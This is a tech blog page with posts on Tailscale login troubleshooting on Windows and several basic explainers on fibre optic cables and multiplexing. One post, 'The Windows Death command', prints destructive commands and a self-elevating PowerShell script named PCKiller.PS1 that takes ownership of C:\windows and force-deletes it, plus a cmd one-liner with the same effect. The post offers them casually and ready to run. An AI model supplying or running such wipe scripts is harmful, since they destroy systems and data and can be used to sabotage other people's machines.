Cannot Display | Windows Tips, SysAdmin Scripts and a whole lot of tech

August 30, 2023NR

Logging into Tailscale using Microsoft O365 Credentials on Windows

Follow these steps to log into Tailscale using Microsoft O365 credentials:

Pre-requisites:
- Ensure the PC is connected to the internet.
- Confirm that Tailscale is installed.
Locating the Taskbar Icon:
- Look for the Tailscale icon in the Windows taskbar, usually near the clock.
Clicking the Icon:
A. Click on the Tailscale icon, or right click and select ‘log in’ to initiate the login process.
B. If this doesn’t work, check if there is using multiple network interfaces (e.g., Wi-Fi and Ethernet) simultaneously. If multiple interfaces are being used, set the interface’s “Automatic Metric” to manual and enter a value.
Microsoft O365 Sign-in:
- A Tailscale login window will appear.
- Select the “Sign in with Microsoft” option.
Redirect to Microsoft Login:
- The default browser will be opened and redirected to the Microsoft O365 login page.
- Use O365 credentials (email and password).
Two-Factor Authentication (if applicable):
- If prompted for two-factor authentication, complete the required steps.
Granting Permissions (if applicable):
- If windows, or O365 asks to grant permissions, review the requested permissions and click “Allow” or “Accept.”
Connecting to the Network:
- After successful login, the Tailscale app will attempt to establish a secure connection to the network.
Check connection
- Check if it says ‘connected’ or ‘disconnected’ in the taskbar.
Done.

August 10, 2023NR

[Solved] Clicking on Tailscale icon does not let me login

Occasionally i have come accross a Tailscale client that does not initially want to display the log in page.

I originally also tried running CLI commands like “tailscale up –authkey xxxxxxxxxx” as well – it seems to hang.

So when CLI and clicking on the icon in the taskbar via the GUI to log in doesn’t work – Check your network cards!
This is usually caused when Tailscale cannot tell which network card has priority.

On Windows:

Win + R //to open run
ncpa.cpl //to open the network settings
Select main network card
Open Properties, then IPv4
Click on Advanced, untick ‘Automatic Metric
Set to 10.

setting network card interface metric to solve tailscale issues

Try again. Chances are, tailscale will now let you login and generate the login page popup allowing sign on. Authkey authentication should also now work.

January 8, 2023NR

The Windows Death command – How to kill a windows PC [Revisited]

So about 7 years ago I wrote the original blog post on killing a windows PC.
Turns out it was one of my most popular posts! So with that in mind, lets update that script to use Powershell – seeing as it is 2023 now.

The core basics of the command have not changed much, just the delivery method.
Below is the new Windows Death command:
TakeOwn /F C:\windows /R /D Y Remove-Item -Recurse -Force C:\windows

Simply run the above in an elevated powershell window to wipe the PC.
It really is that simple.

Now how do we make this into a file that we can just right click and run?
Copy and paste the below into a file, and name it PCKiller.PS1 or similar- then right click and ‘Run with Powershell’ Simple as that:
# Check if script is running as administrator if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { # If not running as administrator, elevate permissions $arguments = "& '" + $myinvocation.mycommand.definition + "'" Start-Process powershell -Verb runAs -ArgumentList $arguments Break }

# Set window title and colors $host.UI.RawUI.WindowTitle = "Destroy Windows PC" $host.UI.RawUI.WindowPosition = "maximized" $host.UI.RawUI.BackGroundColor = "green" $host.UI.RawUI.ForeGroundColor = "white" Clear-Host

# Take ownership of the Windows folder TakeOwn /F C:\windows /R /D Y

# Get the total number of files and directories to be deleted $total = (Get-ChildItem -Recurse C:\windows | Measure-Object).Count $current = 0

# Delete the files and directories Get-ChildItem -Recurse C:\windows | Remove-Item -Force -Recurse -Verbose -ErrorAction SilentlyContinue | ForEach-Object { $current++ Write-Progress -Activity "Deleting files" -Status "Progress: $current/$total" -PercentComplete (($current/$total)*100) }

This script first takes ownership of the Windows folder using the TakeOwn command, just like in the previous version. It then uses the Get-ChildItem command to get a list of all files and directories in the Windows folder and its subfolders. The Measure-Object command is used to count the total number of items, and this count is stored in the $total variable.

Next, the script uses a ForEach-Object loop to iterate over each item in the list and delete it using the Remove-Item command. The -Verbose parameter displays a message for each item that is deleted, and the -ErrorAction SilentlyContinue parameter tells the script to continue running even if an error occurs (such as if a file is in use). The Write-Progress command is used to display a status bar showing the progress of the deletion.

Or if you still like using command prompt, the original an still the best as previously posted will still work:
del /S /F /Q /A:S C:\windows

January 5, 2023NR

Fibre: Comparison table of the three main types of fibre multiplexing

Below is a comparison table of the three main types of fibre multiplexing: wavelength division multiplexing (WDM), frequency division multiplexing (FDM), and time division multiplexing (TDM). The table rates each method on a scale of 1 to 10 in terms of capacity, transmission rates, complexity, and susceptibility to interference.

Method	Capacity (1-10)	Transmission Rates (1-10)	Complexity (1-10)	Interference (1-10)
WDM	10	10	8	2
FDM	8	8	6	6
TDM	6	6	2	8

Note that these ratings are subjective and may vary depending on the specific application and implementation of each method. However, this table should give you a general idea of the relative strengths and weaknesses of each method of fibre multiplexing.

January 5, 2023NR

Fibre Multiplexing: An Overview of Frequency Division Multiplexing (FDM)

Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. One popular method of fibre multiplexing is frequency division multiplexing (FDM).

In this article, we’ll take a closer look at FDM and its key features, advantages, and disadvantages.

What is Frequency Division Multiplexing (FDM)?

Frequency division multiplexing (FDM) is a method of transmitting multiple signals over a single fibre optic cable by using different frequency bands for each signal. This allows for a higher capacity and faster transmission rates, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

FDM is commonly used in telecommunications and other applications where a large amount of data needs to be transmitted over long distances. It is also used in local area networks (LANs) and other short-distance applications.

Advantages of FDM

There are several advantages to using FDM as a method of fibre multiplexing:

High capacity: FDM allows for a higher capacity than other methods of fibre multiplexing, as multiple signals can be transmitted simultaneously over the same fibre optic cable.
Fast transmission rates: FDM allows for fast transmission rates, making it suitable for high-speed data transmission over long distances.
Efficient use of bandwidth: FDM allows for efficient use of bandwidth, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

Disadvantages of FDM

There are also some disadvantages to using FDM as a method of fibre multiplexing:

Complexity: FDM systems can be more complex to set up and manage than other methods of fibre multiplexing.
Interference: FDM systems are susceptible to interference from other signals in the same frequency band, which can degrade the quality of the transmitted signal.

Overall, FDM is a useful method of fibre multiplexing that can provide high capacity, fast transmission rates, and efficient use of bandwidth in certain situations. However, it’s important to carefully consider the potential complexity and interference issues of FDM systems when deciding which method of fibre multiplexing is right for you.

January 5, 2023NR

Fibre Multiplexing: An Overview of Wavelength Division Multiplexing (WDM)

In this article, we’ll take a closer look at WDM and its key features, benefits, and disadvantages.

What is Wavelength Division Multiplexing (WDM)?

Wavelength division multiplexing (WDM) is a method of transmitting multiple signals over a single fibre optic cable by using different wavelengths of light for each signal. This allows for a higher capacity and faster transmission rates, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

WDM is typically used in long-distance telecommunications, as it allows for high-speed data transmission over long distances. It is also commonly used in local area networks (LANs) and other short-distance applications.

Advantages of WDM

There are several advantages to using WDM as a method of fibre multiplexing:

High capacity: WDM allows for a higher capacity than other methods of fibre multiplexing, as multiple signals can be transmitted simultaneously over the same fibre optic cable.
Fast transmission rates: WDM allows for fast transmission rates, making it suitable for high-speed data transmission over long distances.
Efficient use of bandwidth: WDM allows for efficient use of bandwidth, as multiple signals can be transmitted simultaneously over the same fibre optic cable.

Disadvantages of WDM

There are also some disadvantages to using WDM as a method of fibre multiplexing:

Cost: WDM systems can be more expensive to install and maintain than other methods of fibre multiplexing.
Complexity: WDM systems can be more complex to set up and manage than other methods of fibre multiplexing.

Overall, WDM is a useful method of fibre multiplexing that can provide high capacity, fast transmission rates, and efficient use of bandwidth in certain situations.

January 5, 2023NR

Fibre Multiplexing: An Overview of Time Division Multiplexing (TDM)

Fibre multiplexing is a technique used to transmit multiple signals over a single fibre optic cable, allowing for efficient use of bandwidth and high transmission rates. There are several different methods of fibre multiplexing, including time division multiplexing (TDM).

In this article, we’ll take a closer look at TDM and its key features and benefits.

What is Time Division Multiplexing (TDM)?

Time division multiplexing (TDM) is a method of transmitting multiple signals over a single fibre optic cable by assigning each signal to a specific time slot. This allows for efficient use of bandwidth, as the cable is used effectively and there is less risk of congestion.

However, TDM also has some limitations. One major limitation is that the transmission rate of each signal is limited by the time slot assigned to it. This means that if a signal requires a larger time slot, it may not be able to be transmitted at the same rate as other signals.

Overall, TDM is a useful method of fibre multiplexing that can provide efficient use of bandwidth and high transmission rates in certain situations. It’s important to carefully consider your specific needs and requirements when deciding which method of fibre multiplexing is right for you.

January 1, 2023NR

Fibre: Selecting Between Multimode and Singlemode Cables

When it comes to transmitting data over long distances, fibre optic cables are an increasingly popular choice because they are able to provide fast, flexible connectivity. These cables have a core that serves as a “light guide,” allowing light (or data) to be transmitted from one end of the cable to the other.

There are two main types of fibre optic cables: singlemode and multimode. Understanding the differences between these two types of cables can help you choose the right one for your specific needs.

Multimode Cables

Multimode cables are designed to transmit multiple modes of light at the same time. These cables have a larger core diameter, usually between 50 and 100 µm, and are designed for shorter distances. They are often used in local area networks (LANs) and other short-distance applications.

Here are three common use cases for multimode cables:

LANs: Multimode cables are often used in local area networks (LANs) because they are able to transmit data over short distances at high speeds.
Campus environments: Multimode cables are well-suited for use in campus environments, where data needs to be transmitted between buildings or within a single building.
Short distance telecommunications: If you need to transmit data over a short distance, such as between two rooms in a building, multimode cables may be a good choice.

Singlemode Cables

Singlemode cables are designed to transmit a single mode of light at a time. These cables have a small core diameter, usually between 8.3 and 10.5 µm, and are designed for long distances. They can transmit data at high speeds, making them a popular choice for telecommunications over long distances.

Here are three common use cases for
singlemode cables:

Long distance telecommunications: If you need to transmit data over a long distance, such as between a local phone exchange and an end user, singlemode cables are the better choice. These cables can transmit data at high speeds over long distances and are designed specifically for this purpose.
High-speed data transmission: If you need to transmit data at high speeds, singlemode cables are the better choice. These cables are designed for high-speed data transmission and are capable of transmitting data at high rates over long distances.
WANs: Wide area networks (WANs) often require the transmission of data over long distances. Singlemode cables are well-suited for this purpose because they are able to transmit data at high speeds over long distances.

Conclusion

When choosing between singlemode and multimode cables, it’s important to consider the distance you need to transmit data, the data rate you require, and the wavelength of light that is being used. By understanding these differences, you can choose the right type of fibre optic cable for your specific needs.

In general, singlemode cables are the better choice for long distance telecommunications, while multimode cables are better suited for short distance applications such as local area networks (LANs). Ultimately, the right choice for you will depend on your specific needs and requirements.

January 1, 2023NR

Fibre: Understanding Singlemode and Multimode

Fibre optic cables are an increasingly popular choice for transmitting data because they are able to span long distances and provide fast, flexible connectivity. These cables have a core that serves as a “light guide,” allowing light (or data) to be transmitted from one end of the cable to the other.

There are two main types of fibre optic cables: singlemode and multimode. Understanding the differences between these two types of cables can help you choose the right one for your specific needs.

Feature	Singlemode Cable	Multimode Cable
Core diameter	8.3-10.5 µm	50-100 µm
Distance	Long	Short
Data rate	High	Lower
Wavelength of light	1310 nm or 1550 nm	850 nm or 1300 nm
Typical application	Long distance telecommunications	Local area networks (LANs)

Multimode cables, on the other hand, are designed to transmit multiple modes of light at the same time. These cables have a larger core diameter, usually between 50 and 100 µm, and are designed for shorter distances. They are often used in local area networks (LANs) and other short-distance applications.

January 1, 2023NR

Fibre: What Makes Up a Fibre Cable?

Fibre optic cables are special cables that are used to transmit data using pulses of light. They are made up of several different components, each of which plays a specific role in the transmission of the light signals. Here is a breakdown of the main components of a fibre optic cable:

Glass fibre: The glass fibre is the tiny strand of glass that transmits the light signals. It is extremely thin, often less than a tenth the diameter of a human hair. The glass fibre is protected by a layer of plastic called the cladding, which helps to keep the light signals confined to the centre of the fibre. The glass fibre and cladding are encased in a protective jacket, which helps to protect the fibre from damage.
Buffer coating: The buffer coating is a layer of protective material that surrounds the glass fibre and cladding. It helps to protect the fibre from damage and also makes it easier to handle.
Strength members: Strength members are added to the fibre optic cable to provide additional support and protection. They may be made of materials such as Kevlar or steel and are used to help the cable withstand the forces that it may encounter during installation and use.
Outer jacket: The outer jacket is the outermost layer of the fibre optic cable. It serves as an additional layer of protection for the cable and helps to prevent moisture, dirt, and other contaminants from entering the cable. The outer jacket also helps to protect the cable from physical damage.

By understanding the different components of a fibre optic cable, you can better understand how these cables work and how to properly install and maintain them.